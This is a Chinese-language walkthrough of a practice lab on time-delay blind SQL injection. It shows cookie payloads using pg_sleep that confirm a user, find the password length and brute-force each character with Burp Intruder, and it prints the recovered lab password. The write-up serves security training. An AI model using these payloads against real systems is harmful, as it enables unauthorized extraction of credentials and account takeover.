目录

Lab15_-Blind-SQL-injection-with-time-delays-and-information-retrieval

Lab15_ Blind SQL injection with time delays and information retrieval

前言:

实验室标题为:

带有时间延迟和信息检索的 SQL 盲注

实验室等级:执业者

简介:

本实验室包含一个盲 SQL 注入漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含已提交 cookie 值的 SQL 查询。

SQL 查询的结果不会返回,应用程序也不会根据查询是否返回任何记录或导致错误而做出任何不同的响应。不过,由于查询是同步执行的,因此可以触发条件时间延迟来推断信息。

数据库包含一个名为users的不同表,其中有名为username和password的列。您需要利用盲 SQL 注入漏洞找出管理员用户的密码。

要解决实验问题,请以管理员用户身份登录。

提示:

您可以在我们的 SQL 注入备忘单中找到一些有用的有效载荷。

进入实验室

同样是一个商店页面

https://i-blog.csdnimg.cn/img_convert/a91c117d38bc4220ae3fdaee8868a231.png#pic_left

构造 payload

这里不使用谷歌插件 EditThisCookie 了,通过 burp 抓包进行注入

打开 burp——开启抓包——数据发送到重放模块

https://i-blog.csdnimg.cn/img_convert/6c2132b0b7a8aeca579f1576b608f9ed.png#pic_left

由简介可知,该页面存在 cookie 时间盲注,构造 payload 使页面睡眠 10 秒

TrackingId=x';select case when(1=1) then pg_sleep(10) else pg_sleep(0) end--

相比较于之前,页面成功延迟响应

https://i-blog.csdnimg.cn/img_convert/b60fdca64c5f79f0a671524cdb34d9c3.png#pic_left

需要注意的是,注入语句需要进行 url 编码才会生效

选中注入语句——右键——Convert selection——URL——URL-encode key characters

https://i-blog.csdnimg.cn/img_convert/246858e85ed3ffb9d38a6b58ae46c8fb.png#pic_left

将注入语句中的判断条件改为 1=2,再次发送数据包,验证是否会产生延迟

TrackingId=x';select case when(1=2) then pg_sleep(10) else pg_sleep(0) end--

没有产生延迟,程序立即响应

https://i-blog.csdnimg.cn/img_convert/bf9263d6b187ef67f107040c903c6788.png#pic_left

验证是否存在 administrator 用户

TrackingId=x';SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

响应延迟,确认存在 administrator 用户

https://i-blog.csdnimg.cn/img_convert/5dd87d275ae4d127cc0222560bc0612d.png#pic_left

确认管理员用户的字符长度

TrackingId=x';SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

通过响应时间判断,管理员密码长度为 20

https://i-blog.csdnimg.cn/img_convert/8b808aa50104d2eff0432a57cc88fc11.png#pic_left

接着确认具体的字符

TrackingId=x';SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

发送到爆破模块,标记 1 和字符 a

https://i-blog.csdnimg.cn/img_convert/c41cc137d44d34f9ec3a91f7e85ee28b.png#pic_left

在Resource pool 设置最大并发请求数为 1

https://i-blog.csdnimg.cn/img_convert/48b87e09752659e6b362fc529dfe3ee4.png#pic_left

开始爆破,通过接受响应时间判断具体的字符,响应时间超过 10 秒的就是我们需要的值

https://i-blog.csdnimg.cn/img_convert/8c76c8d713ac5549233c29c768a4ebc4.png#pic_left

按顺序将爆破得到的值排序,就得到管理员密码了

4zn0x5hany2jtau01zp5

登录管理员账户,成功通关

https://i-blog.csdnimg.cn/img_convert/11080b05d2a30c9f4873cec946624cc8.png#pic_left